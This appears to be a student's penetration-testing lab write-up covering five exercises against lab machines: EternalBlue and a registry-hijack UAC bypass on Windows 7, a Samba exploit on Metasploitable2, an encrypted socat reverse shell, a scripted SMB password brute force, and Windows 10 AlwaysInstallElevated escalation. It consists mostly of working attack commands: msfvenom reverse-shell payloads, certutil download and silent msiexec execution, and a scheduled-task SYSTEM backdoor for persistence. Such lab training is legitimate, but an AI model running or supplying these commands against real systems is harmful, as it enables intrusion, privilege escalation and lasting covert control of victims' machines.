July Test @SureTrust

1.Privilege Escalation over win 7 (using bypass uac)

Step 1:

msfconsole

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 192.168.130.230

set LHOST 192.168.130.33

set LPORT 4444

set PAYLOAD windows/x64/meterpreter/reverse_tcp

exploit

Step 2: Manual UAC Bypass via eventvwr.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.130.33 LPORT=5555 -f exe > uac_bypass.exe

msfconsole

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.130.33

set LPORT 5555

exploit

Step3.

Uploading the payload into victim system (via Meterpreter):

upload uac_bypass.exe C:\\Users\\<username>\\AppData\\Local\\Temp\\uac_bypass.exe

Step4: Hijacking the Registry Key (in Meterpreter shell):

shell

reg add HKCU\Software\Classes\mscfile\shell\open\command /d "C:\Users\<username>\AppData\Local\Temp\uac_bypass.exe" /f

Step5:Triggering UAC Bypass:

start eventvwr

Confirmed Elevated Access

Step6: In the new session:

getuid

NT AUTHORITY\SYSTEM

2. SMB service exploit for Metasploitable2

1.Target OS:

Metasploitable2 (Linux, Ubuntu 8.04 with Samba 3.x)

2.Exploit Used:

exploit/multi/samba/usermap_script

3.Metasploit Configuration:

set RHOSTS 192.168.130.54

set LHOST 192.168.130.32

set LPORT 4444

set PAYLOAD cmd/unix/reverse_netcat

run

4.Result:

Reverse shell successfully opened

5.Ran whoami → output: root

System fully compromised via SMB

3. Encrypted Reverse shell using socat in Ubuntu

Step 1: Generated a Self-Signed SSL Certificate on Kali

openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365

cat key.pem cert.pem > fullchain.pem

Step 2: Starting Encrypted Listener for access

socat -v OPENSSL-LISTEN:4443,cert=fullchain.pem,verify=0,fork STDOUT

Step 3: Runing the Reverse Shell on Ubuntu

socat -v EXEC:"/bin/bash",pty,stderr,setsid,sigint,sane OPENSSL:<kali ip>:4443,verify=0

4.smb brute force on metasploitable2 without using msfconsole module,hydra,x-hydra,medusa,n-crack,crunch.(username-service,user,abc,root,superuser,msfadmin,services) (password-123,root,toor,msfadmin,services,user,service)

1st Method :

1.smbclient -L //192.168.130.54 -U "msfadmin%msfadmin" --option='client min protocol=NT1' -m SMB1

2.smbclient //192.168.130.54/msfadmin -U "msfadmin%msfadmin"

smb: \>

ls

2nd Method :

Step1: Created usernames.txt and passwords.txt files

Step2: while read user; do

  while read pass; do

    echo "[*] Trying $user : $pass"

    smbclient -L //192.168.130.54 -U "$user%$pass" --option='client min protocol=NT1' -m SMB1

    echo "--"

  done < passwords.txt

done < usernames.txt

5.Win10 always elevated exploit

Step 1: Generating the Reverse Shell (EXE) with msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.130.33 LPORT=4444 -f exe > access.exe

Step 2: Payload sent via Python3 -m http.server 80 and downloaded on target system

Step 3: Started the Listener on Kali

nc -lvnp 4444

Got the revshell

Step 4: Modified the target Defender Policies

Step 5: Create the Priv-Esc on kali with .msi Payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.130.33 LPORT=5555 -f msi > system_access.msi

Step 6: Transfered the .msi payload to the Target

python3 -m http.server 80

certutil -urlcache -split -f http://192.168.130.33/system_access.msi C:\Users\Public\system_access.msi

Downloads a file from a remote HTTP server to the target Windows 10

Uses certutil, a built-in Windows tool for managing certificates — often abused by attackers for file transfers

Step 7: Start New Listener for SYSTEM Shell (Kali)

nc -lvnp 5555

Step 8: Executed the .msi paylod on Target as Standard User

msiexec /quiet /qn /i C:\Users\Public\system_access.msi

Silently installs the .msi file using msiexec, the Windows Installer service

Step 9: At nc Listener 5555 got connection

whoami

nt authority\system

Step 10: Also Created Payload Called BackDoor_Persist.exe

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.130.33 LPORT=7777 -f exe > persist_backdoor.exe

Step 10: Copied the payload through the admin access on kali

copy \\192.168.130.33\kaliShare\persist_backdoor.exe C:\Windows\System32\persist_backdoor.exe

Step 11: Created Persistent Execution with schtasks on Windows 10 Via admin access on kali

schtasks /create /sc onlogon /tn "WinSysTask" /tr "C:\Windows\System32\persist_backdoor.exe" /ru SYSTEM

Step 12: Stared the Listener on Kali

nc -lvnp 7777

Step 13: Restarted the Target System

Step 14: Got the BackDoor_Persist Connection After rebooting the target system at port

nc -lvnp 7777

whoami

nt authority\system

by

Jakkali Lokesh